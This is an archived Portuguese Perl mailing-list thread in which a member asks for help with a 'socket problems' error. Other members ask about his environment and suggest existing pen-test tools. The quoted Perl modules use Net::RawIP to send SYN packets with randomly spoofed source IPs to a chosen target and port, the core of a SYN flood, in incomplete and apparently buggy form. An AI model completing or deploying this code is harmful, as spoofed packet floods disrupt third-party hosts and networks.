Olá Aureliano, 2012/4/20 Aureliano Guedes <[email protected]>
Faça um favor, leia isso: http://www.catb.org/~esr/faqs/smart-questions.html Gabriel Vieira, se conseguisse ter acesso ao meu pc vc seria uns dos > hacker mais fodoes do mundo, mas mesmo assim não iria conseguir nada de > interessante, > pois não logo nem guardo arquivos no HD.... XD, se fizer isso, faz um > favor pra mim, formata ele pois estou com preguissa de fazer isso, instala > ou Ubuntu ou Mandriva com > dual boot com W7. LOL > Um dica... se alguma vez você receber uma "resposta torta", tente não responder de forma debochada... geralmente não ajuda em anda a aliviar a tensão da thread. > > Lorn, meu codigo esta totalmente aos pedaços, pois não to desenvolvendo um > Syn Flood para brincar de Anonymous, estou desenvolvendo um sistema de > pen-test, > mas essa é so a primeira etapa. Ou seja, dividi em modulos. > Você já procurou outros "sistemas de pen-test" existentes? Sabe, tem muita coisa aí, bem feita, onde bons programadores já colocaram horas de esforço... Nos casos onde você não tenha encontrado *nada* que te atenda (o que não creio que seja o caso de alguma coisa que faz um flood de ping...) e/ou teve uma ideia super revolucionária... não seria então melhor contribuir pro que já existe, de forma a melhor aproveitar o seu tempo? Enfim... supondo que seja um projeto para estudo próprio (e um pouco de tempo sobrando)... Como as pessoas já disseram, você precisa dar mais informações sobre seu ambiente. Qual SO está usando? (Tenho uma "leve" sensação que é Windows, mas não custa perguntar...) Está em uma conta com privilégios (por exemplo, no caso de ambientes unix, algumas funcionalidade do nmap dão erro quando utilizadas a partir de uma conta de "usuário normal", simplesmente por falta de privilégio.) Você já conseguiu fazer esse pacote funcionar pelo menos uma vez? Pingando só um IP e uma porta específica, ou nem isso acontece? Você tem o raio da libpcap instalada, testada e funcionando? Versão do Perl instalada? Versão dos módulos instalados? ... [ ]'s > Mas ai vai... > > ###########__Packs.pm__############# > > package Packs; > > use common::sense; > use Net::RawIP; > use Packs::PacksSize; > use Packs::RandonIp; > > sub new { > my $class = shift; > > my $self = {}; > $self->{TARGET} = undef; > $self->{PORT} = undef; > > bless ($self, $class); > return $self; > } > > sub target{ > my $self = shift; > $self->{TARGET} = shift if @_; > return $self->{TARGET} > } > > sub port { > my $self = shift; > $self->{PORT} = shift if @_; > return $self->{PORT}; > } > > sub send{ > my $ip = RandonIp->new; > my $size = PacksSize->new; > my $n = Net::RawIP->new({ > ip => { > saddr => $ip, > daddr => &target, > }, > tcp => { > source => $size, > dest => &port, > psh => 1, > syn => 1, > }, > }); > $n->send; > return $n; > } > > > 1; > > ################################# > > ** Dentro de uma pasta chamada Packs: > > ##########__RandonIp.pm__########### > package Packs::RandonIp; > > use common::sense; > > #create random ip > sub new { > my $ip = join (".", map int rand (256), 1..4); > return $ip; > } > > 1; > > ################################# > > ##########__PacksSize.pm__########### > package Packs::PacksSize; > > use common::sense; > > sub new { > my $pac = int rand(65500) + 1; > return $pac; > } > > 1; > > > ################################# > > ** Script teste: > > ############__teste.pl__############# > use common::sense; > use Packs; > > for (1..4){ > > my $p = Packs->new(); > $p->target($ARGV[0]); > $p->port($ARGV[1]); > $p->send; > } > > ################################# > > Nomes não são definitivos, mas ai esta a parte problemática. > > ------------------------------ > Date: Fri, 20 Apr 2012 16:41:06 -0300 > From: [email protected] > To: [email protected] > Subject: Re: [Rio-pm] Problemas com rawsocket > > > 15:40 -!- Topic for #rio-pm: Rio.PM | Cartilha "Ao Novo Perl Hacker" in > the works! thread: http://bit.ly/HGuOy5 dashboard: http://bit.ly/HbiuXt | > **********MEUS FILHOS BEM VINDOS AO RIO GENTILEZA GERA GENTILEZA AMORRR > BELEZA PERFEIÇÃO BONDADE E RIQUEZA******* > > Aurelio, nós mande seu código para que possar entender melhor e tentar te > ajudar :) > > 2012/4/20 Gabriel Vieira <[email protected]> > > Aguarda 1 min que to tentando ter acesso aos arquivos no teu computador... > > Se quiser pode enviar o código que você está usando para fazer essa > chamada, já me poupa esse trabalho.. > > Abraços, > > 2012/4/20 Aureliano Guedes <[email protected]> > > Bom dia, > Monges. > > Estou com um problema com o Net::RawIP. > Desenvolvi um modulo (uma parte) e quando executo me retorna esse erro: > > socket problems [fatal] at usr/lib/perl5/Net/RawIP.pm line 620, <> line 1. > > Eu dei uma lida no modulo e aparentemente não há problemas nenhum com ele > em si. > > Alguem teria uma ideia do que possa ser?? > > Desde já grato. > > Att, > Aureliano Guedes > > _______________________________________________ > Rio-pm mailing list > [email protected] > http://mail.pm.org/mailman/listinfo/rio-pm > > > > > -- > Gabriel Vieira > > _______________________________________________ > Rio-pm mailing list > [email protected] > http://mail.pm.org/mailman/listinfo/rio-pm > > > > _______________________________________________ Rio-pm mailing list > [email protected] http://mail.pm.org/mailman/listinfo/rio-pm > > _______________________________________________ > Rio-pm mailing list > [email protected] > http://mail.pm.org/mailman/listinfo/rio-pm > -- Bruno C. Buss http://www.brunobuss.net
_______________________________________________ Rio-pm mailing list [email protected] http://mail.pm.org/mailman/listinfo/rio-pm
